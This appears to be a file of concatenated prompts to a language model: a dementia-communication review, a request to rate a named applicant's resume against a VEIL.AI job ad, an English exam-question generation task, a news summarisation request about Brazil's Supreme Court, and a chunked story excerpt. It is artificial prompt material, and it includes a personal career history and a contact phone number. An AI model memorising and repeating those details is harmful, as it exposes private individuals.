people worldwide have Alzheimer’s or related dementia, and an increase in expected life expectancy is expected to increase global prevalence to around 66 million by 2030 and to more than 115 million by 2050 (2). Dementia is one of the major problems in public health, affecting 5 to 10% of the elderly population (3). Dementia appears in the third age and is usually chronic, dysfunctional, and secondary to neurodegenerative processes for which there is currently no cure (4). Language difficulties are a common symptom in people with dementia and may be a symptom indicating dementia (5). Language is the ability to encode ideas into words for communicating with others (6). We have to distinguish language from speech. Speech is the motor performance of the spoken language (7). People with dementia, among other signs, show problems of finding words (anomia), lack of understanding of the sentence, and lack of cohesion in discourse (8).\n\nGo to:\n2.\u2003AIM\nThe goal for the article is to present the importance of communication, and to present communication difficulties which are the result of dementia. Also, the goal is to present adaptations in the way of communicating with people with dementia.\n\nGo to:\n3.\u2003MATERIAL AND METHODS\nThe article has a descriptive character, and represents a review of the literature dealing with this topic\n\nGo to:\n4.\u2003RESULTS\nThe current demographic trend dramatically changes the number of elderly people. This aging trend of the population is the cause of increasing diseases occurring in elderly people, such as dementia. Dementia represents a diverse category of syndromes that characterize a deficit in memory, cognitive function and behavior (9). Cognitive impairment of people with dementia may limit their ability to communicate effectively (10). Dementia is a term used to describe a group of brain disorders that have a profound impact on an individual’s life (11). Currently, the leading cause of dementia is Alzheimer’s disease, vascular disease and Levi’s disease (12).\n\nIt is estimated that the prevalence of dementia is about 6% to 10% of persons older than 65 years. Prevalence increases with age, rising from 1% to 2% among those aged 65 to 74 years to 30% or more in those older than 85 years (13). At age of 90 to 94, 40% of people have dementia, with a prevalence of dementia being 58% among individuals older than 94 (14). Vascular dementia is considered as the second major form of dementia (15), or the other most common form of dementia (16). Her frequency is different from dementia caused by Alzheimer’s disease, which is 10-20% of cases (15). Some researchers estimate that dementia due to Levi’s disease accounts for 15% to 20% of all cases of dementia (17). It seems that the symptoms associated with dementia distributed over the continuum, affect the health of older adults and deserve intervention (18).\n\n4.1. COMMUNICATION AND COMMUNICATION DIFFICULTIES\nLanguage performance is both influenced by normal aging and by development of dementia (19). Dementia is defined as memory impairment with the impairment of at least one other cognitive function such as language (aphasia) or executive function (for example: planning, attention and abstract understanding) (15). Cognitive and daily functioning decline are the primary symptoms of dementia (20). Difficulties related to communication are among the earliest symptoms of dementia (21). Loss of linguistic abilities is common symptom among people with dementia, who may precede other aspects of the cognitive decline (22). Language difficulties are a major problem for most patients with dementia, especially as the disease progresses and goes from moderate to severe stage (23). Early signs that communication of a person with dementia is affected are the difficulties of word finding, especially when naming people or objects. A person can replace the word with the wrong one or not find a substitute at all (24). As the disease progresses, it leads to forgetting names of family members, friends, confusion about family relationships, and often affected persons no longer recognize members of their family (24).\n\nResearchers around the world discuss theories about the presence of semantic and perceptual lacks in order to explain the appearance of language disorders in Alzheimer’s dementia (25). Dementia, such as the one resulting from Alzheimer’s disease, involves progressive degradation of language function (26). Language deficiencies are evident in all patients with Alzheimer’s disease: they achieve significantly lower results in the area of verbal expression, hearing comprehension, repetition, reading and writing. Syntax and phonology remain relatively intact, but semantic abilities are impaired (27). Patients with dementia, especially associated with Alzheimer’s disease, have difficulties with participation in communication as well as in the area of understanding, speaking fluency, comprehensiveness, word production, syntax and verbal feedback, while nonverbal communication is mostly preserved (understanding of gestures, facial expression, gesture use) (28).\n\nMultiple cognitive domains, including language and communicative function are affected by vascular dementia (29). Patients with vascular dementia usually have dysarthria with variable abnormalities of the language (30). The main characteristics of speech and language in people with Alzheimer’s dementia include: difficulties in finding words for objects, difficulties with naming, understanding difficulties, and a louder voice when speaking. In vascular type dementia, to previously mentioned are added incomprehensible speech and reduced complexity of the sentence (31). Characteristics of language degradation in Alzheimer’s dementia are compared with those of various aphasic syndromes (25).\n\nLanguage disorders can be perceived as a weak language system, which includes difficulties in finding words, recalling words or anomia (32). People with dementia use less words, less common words, less prepositional phrases, less depending clauses, and more incomplete fragmented sentences. The lexical deficits tend to be more difficult than the syntax deficits, which confirms the assumption that lexicon of people with dementia is more sensitive than syntax (33).\n\nThe American Speech-Language-Hearing Association (ASHA) prescribes the role of speech-language pathologists/therapists in identifying, assessing, intervening, counseling, cooperation, management, education, advocacy and research of people with dementia (34). It is important to understand that dementia affects the communication of the person with dementia, but it is also necessary to adapt the communication of other persons, persons from the environment that are involved in care. Care for people with dementia requires specific communication skills (35). Communication is key to provide good care for a person with dementia (10). Treatment strategies aimed at increasing attention and understanding and simplifying conversation will improve communication skills between people with dementia and care providers (Ross, Cummings and Benson, 1990). Health professionals and family caregivers usually get little training that enables them to meet the communication needs of people with dementia (35). Limited abilities to communicate effectively can affect the ability of caregivers to identify the needs of people with dementia (10).\n\nThe Alzheimer’s Association Sugden-Best suggests strategies to promote effective communication with a person with dementia (10): Always access the person with dementia from the front; Make sure you look at a person when you talk to him or her; Give the person some signs, as touching hand, or use the person’s name before you start the conversation; Ensure that the environment is calm and free of disturbance; Use simple language and speak slowly; Use short and simple sentences; Talk to a person with dementia as an adult and do not speak in the presence of a person as if he or she is not present; Give enough time to process information and to respond; Try to let the person with dementia to complete their thoughts and make choices with the words; Avoid guessing what the person with dementia is trying to say; Encourage an individual to write a word that he or she is trying to express and to at loud; It might be useful to use a pictogram that uses image views; A person with dementia can be useful to “fill in” answers to questions such as “I need” or “I want” just by showing the appropriate picture; Use proper facial expressions, sometimes it may seem exaggerated, for example to smile when talking about happy events, but do it; Do not correct the person with dementia if he or she is making mistakes; Do not stress the person with dementia to respond; Encourage an individual to use any way of communication he or she feels comfortable with, for example, gesture or writing; Use touch to help concentrate, to set up another way of communication and offer security and encouragement; Avoid confrontation and conflicts with people with dementia.\n\nTraining/instruction of communication skills related to the care of people with dementia significantly influences the communication of professional and family caregivers, their skills, abilities and knowledge, improves the quality of life and well-being of people with dementia and increases positive interaction in different care settings (35).\n\nGo to:\n5.\u2003CONCLUSION\nDementia is a rapidly growing unit, as the society is getting older we can expect an increasing number of people with dementia. If not affected, then as a potential caregivers or at least the neighbors of the person with dementia, we can provide dementia friendly society only with a certain knowledge. In order to promote cognitive functioning and independence among older adults, public health interventions should also facilitate early detection and treatment of dementia. Communicative (speech and language) difficulties, which are one of the groups of accompanying symptoms of dementia, should be recognized as a consequence of neural degradation in order to provide the necessary help in time. Communication is a very important segment of every person’s life, we use it to actively participate in society, pass on our wishes and needs, and share attitudes, knowledge and experience with other members of the community. Previous indicates the importance of ensuring the ability to communicate and adjust the communication system if needed. Speech and language pathologists/therapists should be actively involved in treating people with dementia through direct contact with affected persons for maintaining communication skills or finding compensation strategies as well as working with their caregivers to teach them how to communicate more adequately.\n\nGo to:\nAuthor’s contribution:\nAll authors in this paper have contributed in all phases in it’s preparing. First author made final proof reading.\n\nGo to:\nConflict of interest:\nnone declared.' +"Estimate from 0-100 how well job applicant fits job application description?\n\nJob application description:\nVEIL.AI is a HealthTech start-up that offers solutions for better utilization of health data, e.g., for pharmaceutical and MedTech companies and hospitals. We are a forerunner in advanced data anonymization in Europe. Our patented VEIL.AI Anonymization Engine produces extremely high-quality anonymized and synthetic data, offering our customers great new opportunities for utilizing health data. We have offices in Helsinki and Copenhagen. For more information, please visit www.veil.ai.\nOur team is growing, and for this we need bright minds with a can-do attitude.\nAre you a digital marketer and feel passion towards the growth and start-up scene? We are looking for a\nDIGITAL MARKETING SPECIALIST / MARKETING PLANNER\nto plan and implement our digital presence and marketing actions in order to support our company's growth.\nWe hope you are familiar with the possibilities of digital marketing and have a systematic and development-oriented approach. You want to find out and build up different digital solutions that enable success in reaching target groups and getting leads. You have the ability to plan and implement marketing and digital projects.\nYour role\n● Responsible for planning, implementation, and follow-up of digital marketing\n\n● Responsible for the management and development of digital channels and marketing solutions (e.g., website, LinkedIn, newsletter, etc.).\n\n● Support the development and execution of digital marketing competences (e.g., better utilization of ActiveCampaign, Google Analytics, SEO, etc.)\n\n● Support and execute lead generation, management, and nurturing\n\n● Support sales and content creation\nYour profile\n● You are interested and curious about digital marketing and solutions\n\n● You can be already more experienced in digital marketing or just at the beginning of your career\n\n● You are self-directed and have active work style with good teamwork skills\n\n● You will be using Finnish and English languages in your work\n\n● Education suitable for the position (e.g., commercial)\nWhat do we offer?\n● An independent and accountable position in meaningful work\n\n● A possibility to further develop your own professional skills\n\n● A job in a developing and growing multicultural start-up\n\n● A pleasant, professional, and experienced team\n\n● Flexible working hours and home-office possibility (hybrid work, office in Helsinki)\n\n● The possibility to join stock option scheme of the company\nFor more information about the position, contact Chief Commercial Officer Kari Lehtipuu e.g., on Thursday, December 29th, or January 5th between 14:00 and 18:00 at +358 40 664 6300.\nPlease send your resume with salary expectations no later than January 8th, 2023. We will be reviewing and possibly interviewing candidates before the application closing time. \n\nApplicant resume:\nI’m proud to be an online marketing specialist in the world of\ndigital marketing, SEO, eCommerce and technology and founder\nof LumoLink. The digital world is my passion, and I’m proud to\ncontinuously push the envelope in my quest to uncover and explore\nbest practice in digital marketing.\nFrom a young age, I was passionate about programming and went\nonto nurturing and expanding my skill set over the past twenty years\nto become one of the thought leaders and innovators in the digital\ntechnology in Europe.\nAs a teenager, the Internet opened my eyes to a world of amazing\nopportunity. A budding entrepreneur, I launched my first fully fledged\nwebsite as a side project during high school.\nWithout a budget for marketing, as a teenager I started to learn\nabout SEO and how to drive traffic without the need for a massive\nbudget. My knowledge of SEO and digital marketing allowed for\nmy first website to get the exposure I craved without the need for\nthousands of marketing dollars. Eventually, the website generated\nsignificant traffic and I wound up ended up with a dedicated team of\nstaff – all before I had even graduated from high school.\nThe world of optimisation changed the way I was able to run my\nbusiness. By sharpening my understanding of how optimisation\ncould help businesses online I was able to grow the business and\nended up with 500,000 active users.\nPage 1 of 6\nIn 2010, after learning the art of sales, customer service and\nprogramming, I kicked off my own company and became the\nfounder and director of LumoLink, a pioneering firm that seamlessly\ncombines online marketing with technology.\nExperience\nDaniliants Ventures\nFounder and CEO\nJune 2010 - Present (12 years 7 months)\nI'm the founder and CEO of Daniliants Ventures. We're an international growth\nmarketing team that helps companies grow. We focus on ecommerce, crypto\nand B2B companies.\nI've been involved in startups since 2007. I've started and bootstrapped a few\nbusinesses myself, so I understand the challenges that entrepreneurs face.\nI'm passionate about helping companies grow, and I believe that marketing is\none of the most important aspects of a company's success.\nThirdwave\nPartner\nJune 2022 - Present (7 months)\nI'm a partner at Thirdwave. My focus is UX, Web 2.0 data intelligence and\ndesign.\nLumoLink Digital Oy\nFounder and CEO\nJune 2010 - Present (12 years 7 months)\nHelsinki Area, Finland\nLumoLink provides online marketing solutions for businesses in Europe. I\nstarted the company alone and handled all aspects of running the company.\nNow I am fortunate to have a great team that supports me and we have\nexpanded vastly.\nMy day to day duties nowadays are running online marketing workshops,\nmanaging online marketing and working as product manager for our upcoming\ncloud service.\nPage 2 of 6\nOur greatest asset is technology know-how blended with online marketing\nunderstanding spiced up with Russian marketing knowledge.\nLänsi-Helsingin Yrittäjät\nMember of the Board\nFebruary 2017 - September 2022 (5 years 8 months)\nMy passion is bringing new opportunities that digitalization provides to\nentrepreneurs in Helsinki region.\nVersa Finland Oy\nChief Marketing Officer, Partner\nDecember 2010 - September 2022 (11 years 10 months)\nOulu, Finland\nVersa Finland is a cost reduction service for companies in Finland. Company's\nmotto is simple: we help you save money or you don't pay us anything.\nI joined the company to to make Versa Finland Oy known for it's innovative\nconcept and unquestionable results in Finland as well as abroad. My main\nresponsibilities are marketing and technology development.\nTAVIQ Oy\nMarketing Advisor / Partner\nAugust 2015 - August 2019 (4 years 1 month)\nHelsinki, Finland\nMy job is simple. Help TAVIQ get noticed, help the company with closing\nimportant B2B deals and help bring marketing know-how to a very technical\nstartup.\nValoStartup\nFounder\nDecember 2010 - January 2018 (7 years 2 months)\nI am founding member of ValoStartup anual event geared at Startups.\nOBN - Oulu Business Networks Oy (Oulun B&N Yhtiöt)\nMarketing Consultant\nDecember 2013 - October 2016 (2 years 11 months)\nOulu, Finland\nWorking together with other senior consultants I provide marketing services\nsuch as training to small business owners in Finland.\nPage 3 of 6\nDRF Group Oy\nPartner\nMarch 2015 - March 2016 (1 year 1 month)\nOulu, Finland\nWorking on helping web and mobile startups during seed phase.\nRevontuliryhmä Ry\nMember of the Board\nMarch 2014 - January 2016 (1 year 11 months)\nEmpowering local entrepreneurs in Northern Finland by providing them with\nnetworking, training and business opportunities.\nDTB Software Oy\nCTO / CMO\nJune 2014 - March 2015 (10 months)\nMy main objective is to make sure that our upcoming web and mobile projects\nare modern, developed on time and user friendly. My main focus at this point is\nour product Troduce.com\nResponsibilities: online marketing and product development.\nCity of Oulu (Kastelli high-school)\nTeacher\nSeptember 2014 - January 2015 (5 months)\nOulu, Finland\nI am teaching business and entrepreneurship to high-school students in Oulu\ncity's biggest school. My aim is to do my part in preparing next generation of\nFinns for this ever more competitive world.\nOulu Junior Chamber of Commerce\nVice President (INT) 2014\nOctober 2013 - January 2015 (1 year 4 months)\nOulu, Finland\nI was chosen to be a board member of Oulu Junior Chamber of Commerce. I\nam in charge of promoting international events and connections. I also want\nto make our chapter well known in the area as one of the best networking and\nself-development opportunities for young adults.\nWebVehicle Oy\nMarketing and technology adviser\nMay 2013 - August 2013 (4 months)\nPage 4 of 6\nOulu, Finland\nWebVehicle set out to create web service for automobile owners in Finland.\nMy job is to guide company when it comes to technology and customer\nacquisition online.\nRusPod\nMarketing adviser\nJuly 2012 - August 2013 (1 year 2 months)\nRusPod is an online service aimed at teaching Russian language interactively.\nMy job is to advise company on online marketing strategies, conversion\noptimization and lowering cost of customer acquisition.\ninTaxi\nPartner\nMarch 2011 - May 2013 (2 years 3 months)\nI had the please to work with InTaxi team. Company set out to revolutionize the\nway people order a cab. With features like bonuses, offer system, awesome\nmobile apps and great support it acquired big user base in Russia.\nI was involved in many aspects of the company, but predominantly in\nmarketing and company's internal processes.\nVenture Brothers\nAdviser\nDecember 2010 - May 2013 (2 years 6 months)\nVentureBrothers is an angel investing company located in Moscow, Russia.\nCompany's focus is to invest in startup companies during seed or even preseed phase. Besides investment company also brings on technology team,\nmarking know-how and other service that startup company might need.\nI worked as adviser and helped create processes inside newly formed\nstartups, help further develop business models and technology.\nSoMePitching.com\nCTO\nSeptember 2010 - August 2011 (1 year)\nOulu, Finland\nPage 5 of 6\nI was involved in developing technology for the first version of web service.\nSomePitching allows any company to pitch their idea or product to audience\naround the world in order to gain insight, funding or recruit advisers.\nOpenSource project: Speed Freak\nProject manager\nMarch 2010 - June 2010 (4 months)\nI was selected by to lead small group of developers to create Maemo app for\ncar enthusiasts as a technology showcase. My job involved organizing the\nteam, managing infrastructure technology (version control, communication\ntools etc) and managing project day to day. Open Source and agile software\ndevelopment mythologies we used.\nProject was made possible by adult education center in Oulu and Fudeco Oy /\nArcusys Oy. Project's main goal was to upgrade developer's know-how and\nprepare them for future employment.\nFudeco Oy\nProject manager / Web developer\nMay 2007 - June 2010 (3 years 2 months)\nOulu, Finland\nProject manager and scrum master. Was involved also in the beginning\nin developing web applications based on Python and PHP technologies.\nCommunication with clients and coming up with suitable creative solutions\n(within set constraints) was something I enjoyed the most.\nSince it was a small company my position was a mix of project manager, sales\nand account manager. I found it to be thrilling experience to say the least.\nEducation\nUniversity of Oulu\nBusiness, IT · (2006 - 2012)\nPSK-Aikuisopisto / PSK-Adult Education Center\nFurther Qualification for Entrepreneurs · (2006 - 2007)" +'You are in charge of creating the English exam questions and are to perform the following 《tasks1》-《tasks 2》 in order.\n《task1》\nThe following consists of [question1 or 2] and its answer [answer1 or 2] to [context1], respectively. In addition, [question1 or 2] consists of {Q1} to {Q5} and [answer1 or 2] consists of {A1} to {A5}.\nCompare and , and output the features, similarities, and grammatical items used in each in a tabular form as an entry called .\n\n:\n\n[context1]:\nCheese has a rich and fascinating history dating back thousands of years. The exact origin of cheese is unknown, but it is believed to have been discovered accidentally by early humans who stored milk in containers made from animal stomachs. The enzymes in the stomach lining caused the milk to coagulate, separating the curds from the whey, creating the first cheese.\nCheese was an important food source for ancient civilizations, such as the Greeks and Romans, who considered it a luxury item. Cheese was often used as a form of currency, and in some cases, it was even offered as a sacrifice to the gods.\nDuring the Middle Ages, cheese-making became a specialized craft, and monasteries and convents were renowned for producing some of the best cheeses in Europe. The development of trade routes allowed cheese to spread across Europe, and new varieties were created as cheesemakers experimented with different techniques and ingredients.\nIn the 16th and 17th centuries, cheese-making technology advanced, allowing for larger-scale production and the creation of more consistent varieties. Many of the world\'s most famous cheeses were developed during this time, including cheddar, brie, and parmesan.\nToday, cheese is a staple food in many cultures, and there are hundreds of different varieties available around the world. Cheese-making techniques continue to evolve, with new varieties being created all the time. Some of the most popular cheeses include mozzarella, feta, gouda, and blue cheese.\nCheese has also played an important role in art and literature, with references to cheese appearing in works by famous authors such as William Shakespeare and Charles Dickens. In modern times, cheese has become a popular subject for foodies and cheese enthusiasts, with cheese festivals and competitions taking place all over the world.\nIn addition to its cultural significance, cheese is also a valuable source of nutrients, including protein, calcium, and vitamin B12. It can be enjoyed on its own or used as an ingredient in a wide variety of dishes, from sandwiches and pizzas to soups and casseroles.\nOverall, cheese is a beloved food that has played an important role in human history and continues to be a popular and versatile ingredient today.\n\n[question1]:\n{Q1}What is the believed origin of cheese?\na) It was discovered by early humans who stored milk in animal stomachs\nb) It was first created by Greek and Roman civilizations\nc) It was invented during the Middle Ages by cheesemakers\nd) Its exact origin is unknown\n{Q2}What role did monasteries and convents play in cheese-making during the Middle Ages?\na) They were responsible for the development of trade routes for cheese\nb) They created the first consistent varieties of cheese\nc) They were renowned for producing some of the best cheeses in Europe\nd) They used cheese as a form of currency\n{Q3}Why has cheese become a popular subject for foodies and cheese enthusiasts in modern times?\na) Because it is a valuable source of nutrients, including protein, calcium, and vitamin B12\nb) Because cheese festivals and competitions take place all over the world\nc) Because cheese has played an important role in art and literature\nd) Because cheese-making techniques continue to evolve, with new varieties being created all the time\n{Q4}What is one sentence from the passage and what is its Japanese translation?\n"Cheese-making techniques continue to evolve, with new varieties being created all the time."\n{Q5}"Cheese-making became a specialized \\_\\_\\_\\_\\_ during the Middle Ages, and monasteries and convents were renowned for producing some of the best cheeses in Europe." 空欄に入るべき単語を選択肢から選んでください。\na) cuisine\nb) craft\nc) science\nd) art\n\n[answer1]:\n{A1}a) It was discovered by early humans who stored milk in animal stomachs\n{A2}c) They were renowned for producing some of the best cheeses in Europe\n{A3}d) Because cheese-making techniques continue to evolve, with new varieties being created all the time\n{A4} チーズ製造技術は進化し続け、新しい種類が常に作られています。\n{A5}b) craft\n\n:\n\n[context2]:\nPaper has been a fundamental part of human civilization for thousands of years. The origins of paper can be traced back to ancient China, where the first paper was invented during the Han Dynasty (206 BCE - 220 CE). The invention of paper revolutionized writing and communication, and it quickly spread across the world.\nThe early paper-making process involved pounding and mashing up plant fibers, such as mulberry bark, hemp, and bamboo, and then drying the resulting pulp into sheets. The process was time-consuming and labor-intensive, but it produced a durable and relatively inexpensive writing surface.\nAs paper-making techniques spread, new fibers and methods were used to improve paper quality and production speed. In the 8th century, paper-making was introduced to the Islamic world, where cotton fibers were used instead of plant fibers, creating a smoother, finer paper. This type of paper was in high demand throughout the Islamic world and was exported to Europe, where it became known as "Arabic paper."\nIn Europe, paper-making began in the 11th century, initially using linen fibers. However, with the invention of the printing press in the 15th century, demand for paper grew exponentially, and new methods were developed to produce paper more quickly and efficiently. Wood pulp was introduced as a raw material, which allowed for the mass production of paper.\nToday, paper is used for a wide range of purposes, from writing and printing to packaging and hygiene products. With the advent of digital technology, there has been a decline in demand for paper in some areas, such as newspapers and books, but paper remains an essential material for many industries.\nPaper-making has also had an impact on the environment, with deforestation and pollution being major concerns. However, sustainable paper-making practices are being developed, such as using recycled fibers and renewable energy sources.\nOverall, the history of paper is a story of innovation, adaptation, and growth. From its humble origins in ancient China to its current role in modern society, paper has had a profound impact on human civilization and will continue to be an important part of our lives for many years to come.\n\n[question2]:\n{Q1}Where was paper first invented?\na) Europe\nb) China\nc) Islamic world\nd) Africa\n{Q2}What raw materials were used to make early paper?\na) Linen fibers\nb) Wood pulp\nc) Mulberry bark, hemp, and bamboo\nd) Cotton fibers\n{Q3}What impact has the advent of digital technology had on the paper industry?\na) There has been an increase in demand for paper for newspapers and books\nb) There has been a decline in demand for paper for newspapers and books\nc) There has been an increase in demand for paper for packaging and hygiene products\nd) There has been a decline in demand for paper for packaging and hygiene products\n{Q4} What is one sentence from the passage and what is its Japanese translation?\n"Today, paper is used for a wide range of purposes, from writing and printing to packaging and hygiene products."\n{Q5}"The early paper-making process involved pounding and mashing up plant fibers, such as mulberry bark, hemp, and bamboo, and then drying the resulting pulp into \\_\\_\\_\\_\\_." 空欄に入るべき単語を選択肢から選んでください。\na) ropes\nb) balls\nc) sheets\nd) tubes\n\n[answer2]:\n{A1}b) China\n{A2}c) Mulberry bark, hemp, and bamboo\n{A3}b) There has been a decline in demand for paper for newspapers and books\n{A4} 今日、紙は書き物や印刷から包装や衛生用品まで、幅広い用途に使われています。\n{A5}c) sheets\n《task2》\nBased on and , create a similar and summarize in tabular form as the number of words, characteristics and similarities of [context1 or 2 or 3] in and summarize in tabular form as the characteristics of [question1 or 2 or 3>.' +'Summarize this news article\n\nMr. Moraes has jailed five people without a trial for posts on social media that he said attacked Brazil’s institutions. He has also ordered social networks to remove thousands of posts and videos with little room for appeal. And this year, 10 of the court’s 11 justices sentenced a congressman to nearly nine years in prison for making what they said were threats against them in a livestream.\n\nThe power grab by the nation’s highest court, legal experts say, has undermined a key democratic institution in Latin America’s biggest country as voters prepare to pick a president on Oct. 2. Luiz Inácio Lula da Silva, a leftist former president, has led Mr. Bolsonaro in polls for months, while Mr. Bolsonaro has been telling the country, without any evidence, that his rivals are trying to rig the vote.\n\nIn many cases, Mr. Moraes has acted unilaterally, emboldened by new powers the court granted itself in 2019 that allow it to, in effect, act as an investigator, prosecutor and judge all at once in some cases.\n\nUnderstand\xa0the\xa0Riots in Brazil’s Capital\nThousands of rioters supporting Jair Bolsonaro, the far-right former president of Brazil, \xa0stormed the nation’s Congress, Supreme Court and presidential offices on Jan. 8.\nAnatomy of a Mass Attack:\xa0After Mr. Bolsonaro lost the presidential election in October, many believed that the threat of violence from his supporters would recede. Here is what went wrong.\nThe Investigations: Authorities face several major questions\xa0as they piece together how rioters briefly seized the seats of Brazil’s government.\nDigital Playbook: Misinformation researchers are studying how the internet was used ahead of the riots in Brazil. Many are drawing a comparison to the Jan. 6 attack.\nThe Role of the Police: Their early inaction in the riot shows how security forces can help empower violence\xa0and deepen the threat to democracy.\nDias Toffoli, the Supreme Court justice who created those powers, said in a statement that he did so to protect the nation’s democracy: “Brazil lives with the same incitement to hatred that took lives in the U.S. Capitol invasion, and democratic institutions must do everything possible to avoid scenarios like Jan. 6, 2021, which shocked the world.”\n\nPolitical leaders on the left and much of the Brazilian press and public have largely supported Mr. Moraes’s actions as necessary measures to counter the singular threat posed by Mr. Bolsonaro.\n\nBut many legal experts say that Mr. Moraes’s shows of force, under the banner of saving democracy, are themselves threatening to push the country toward an antidemocratic slide.\n\n“It’s the story of all bad stuff that ever happens in politics,” said Luciano da Ros, a Brazilian political science professor who studies the politics of the judiciary. “In the beginning you had one problem. Now you have two.”\n\nMr. Moraes declined to comment through a spokeswoman.\n\nThe court’s expanding influence could have major implications for the winner of the presidential vote. If Mr. Bolsonaro wins a second term, he has suggested that he would seek to pack the Supreme Court, giving him even more control over Brazilian society.\n\nIf Mr. da Silva wins, he would have to contend with justices who could complicate his agenda for a country facing a host of challenges, including rising hunger, deforestation in the Amazon and deep polarization.\n\n“Historically, when the court has given itself new power, it hasn’t said later that it was wrong,” said Diego Werneck, a Brazilian law professor who studies the court. “The powers that get created remain.”\n\nIf no candidate receives more than 50 percent of the vote in the Oct. 2 election, the top two finishers will face a runoff on Oct. 30.\n\nBrazil’s Supreme Court was already a potent institution. In the United States, the Supreme Court weighs in on 100 to 150 cases a year. In Brazil, the 11 justices and the attorneys who work for them issued 505,000 rulings over the past five years.\n\nImage\n\nMr. Moraes ordered the freezing of bank accounts of businessmen and the subpoenaing of their financial, phone and digital records over messages they exchanged on WhatsApp. Credit...Joedson Alves/EPA, via Shutterstock\n\nIn 2019, a few months after Mr. Bolsonaro took office, a one-page document vastly expanded the Supreme Court’s authority.\n\nAt the time, the court was facing attacks online from some of Mr. Bolsonaro’s supporters. Typically, law enforcement officers or prosecutors would have to open an investigation into such activity, but they had not.\n\nSo Mr. Toffoli, the court’s chief justice, issued an order granting the Supreme Court itself the authority to open an investigation.\n\nThe court would investigate “fake news” — Mr. Toffoli used the term in English — that attacked “the honorability” of the court and its justices.\n\nIt was an unprecedented role, turning the court in some cases into the accuser and the judge, according to Marco Aurélio Mello, a former Supreme Court justice who last year reached the mandatory retirement age of 75.\n\nMr. Mello, who is a supporter of Mr. Bolsonaro, believed the court was violating the Constitution to address a problem. “In law, the means justify the ends,” he added. “Not the reverse.”\n\nAntonio Cezar Peluso, another former Supreme Court justice, disagreed. The authorities, he said, were allowing threats to proliferate. “I can’t expect the court to be quiet,” he said. “It had to act.”\n\nTo run the investigation, Mr. Toffoli tapped Mr. Moraes, 53, an intense former federal justice minister and constitutional law professor who had joined the court in 2017.\n\nIn his first action, Mr. Moraes ordered a Brazilian magazine, Crusoé, to remove an online article that showed links between Mr. Toffoli and a corruption investigation. Mr. Moraes called it “fake news.”\n\nAndre Marsiglia, a lawyer who represented Crusoé, said the ruling was startling. The Supreme Court had often protected news organizations from lower-court decisions ordering such takedowns. Now it “was the driver of the censorship,” he said. “We had no one to turn to.”\n\nMr. Moraes later lifted the order after legal documents proved the article was accurate.\n\nImage\n\nA screen with an image of Mr. Moraes during a CPAC gathering in June in São Paulo. The Brazilian event is inspired by the conservative conference in the United States.Credit...Victor Moriyama for The New York Times\n\nOver time, Mr. Moraes opened new investigations and reframed his work around protecting Brazil’s democracy. Mr. Bolsonaro was increasing attacks on judges, the media and the nation’s electoral system.\n\nMr. Moraes ordered major social networks to remove dozens of accounts, erasing thousands of their posts, often without giving a reason, according to a tech company official who spoke on the condition of anonymity to avoid provoking the judge. When this official’s tech company reviewed the posts and accounts that Mr. Moraes ordered it to remove, the company found that much of the content did not break its rules, the official said.\n\nIn many cases, Mr. Moraes went after right-wing influencers who spread misleading or false information. But he also went after people on the left. When the official account of a Brazilian communist party tweeted that Mr. Moraes was a “skinhead” and that the Supreme Court should be dissolved, Mr. Moraes ordered tech companies to ban all of the party’s accounts, including a YouTube channel with more than 110,000 subscribers. The companies complied.\n\nMr. Moraes went even further. In seven cases, he ordered the arrest of far-right activists on charges of threatening democracy by advocating for a coup or calling people to antidemocratic rallies. At least two are still in jail or under house arrest. Some cases were initiated by the attorney general’s office, while others Mr. Moraes began himself.\n\nIn its investigation, the court discovered evidence that far-right extremists had discussed assaulting justices, were tracking the judges’ movements and had shared a map of a court building, according to a court official who spoke on the condition of anonymity because the findings are part a sealed investigation.\n\nIn the most high-profile case, Mr. Moraes ordered the arrest of a conservative congressman after he criticized Mr. Moraes and other justices in an online livestream. “So many times I’ve imagined you taking a beating on the street,” the congressman, Daniel Silveira, said in the livestream. “What are you going to say? That I’m inciting violence?”\n\nThe Supreme Court voted 10-to-1 to sentence Mr. Silveira to nearly nine years in prison for inciting a coup. Mr. Bolsonaro pardoned him the next day.\n\nImage\n\nMr. Moraes ordered the arrest of a conservative congressman, Daniel Silveira, center, after Mr. Silveira criticized Mr. Moraes and other high court justices. Credit...Victor Moriyama for The New York Times\n\nWith a majority of Congress, the military and the executive branch backing the president, Mr. Moraes has become arguably the most effective check on Mr. Bolsonaro’s power. That has made him a hero to the left — and public enemy No. 1 on the right.\n\nMr. Bolsonaro has railed against him in speeches, tried and failed to get him impeached and then told supporters he would not abide by Mr. Moraes’s rulings. (He later walked that back.)\n\nLast month, Mr. Moraes took on even more power, also assuming the presidency of the elections court that will oversee the vote. (The timing was a coincidence.)\n\nAt his inauguration, Mr. Moraes seemed to speak directly to Mr. Bolsonaro, who sat nearby. “Freedom of expression is not freedom to destroy democracy, to destroy institutions,” Mr. Moraes said as Mr. Bolsonaro scowled.\n\nThe tension between the men grew with the WhatsApp case involving the businessmen.\n\nMr. Bolsonaro blasted Mr. Moraes’s order, which in part approved a police request to search the men’s homes. In an unusual moment, the mainstream Brazilian press agreed with the president. “Exchanging messages, mere opinions without action, even if they are against democracy,” the TV network Band said in an editorial, “does not constitute crimes.”\n\nUnder criticism, Mr. Moraes’s office produced an additional legal document that it said provided further evidence of the potential threat the men represented. The document repeated already public connections some of the men had to right-wing operatives.\n\nMr. Moraes later unfroze the businessmen’s bank accounts. The men were never arrested.\n\nLuciano Hang, the box-store billionaire, said he was fighting to regain control of his social media accounts, which collectively had at least 6 million followers. “We feel violated to have the federal police show up at 6 a.m. wanting to take your phone,” he said.\n\nLindora Araújo, Brazil’s deputy attorney general and a career prosecutor, appealed Mr. Moraes’s order against the businessmen, saying the judge had abused his power by targeting them for simply stating opinions in a private chat. His order resembled “a kind of thought police that is characteristic of authoritarian regimes,” she said.\n\nThat appeal went to Mr. Moraes. He dismissed it.' +'=== INSTRUCTIONS ===\nYour task is ONLY to confirm receipt of this chunk, chunk 2/3, and not generate any text. After confirmation, please wait for the next chunk.\n=== SCRIPT CHUNK 2/3 ===\nalese said she nearly vomited when a professor at the Sorbonne told her that Conrad was really on her side, as if she could not decide for herself who was on her side. Ujunwa began to jump up and down, babbling nonsense to mimic Conrad’s Africans, feeling the sweet lightness of wine in her head. The Zimbabwean staggered and fell into the water fountain and climbed out spluttering, her dreadlocks wet, saying she had felt some fish wriggling around in there. The Kenyan said he would use that for his story— fish in the fancy resort fountain—since he really had no idea what he was going to write about. The Senegalese said her story was really her story, about how she mourned her girlfriend and how her grieving had emboldened her to come out to her parents although they now treated her being a lesbian as a mild joke and continued to speak of the families of suitable young men. The black South African looked alarmed when he heard “lesbian.” He got up and walked away. The Kenyan said the black South African reminded him of his 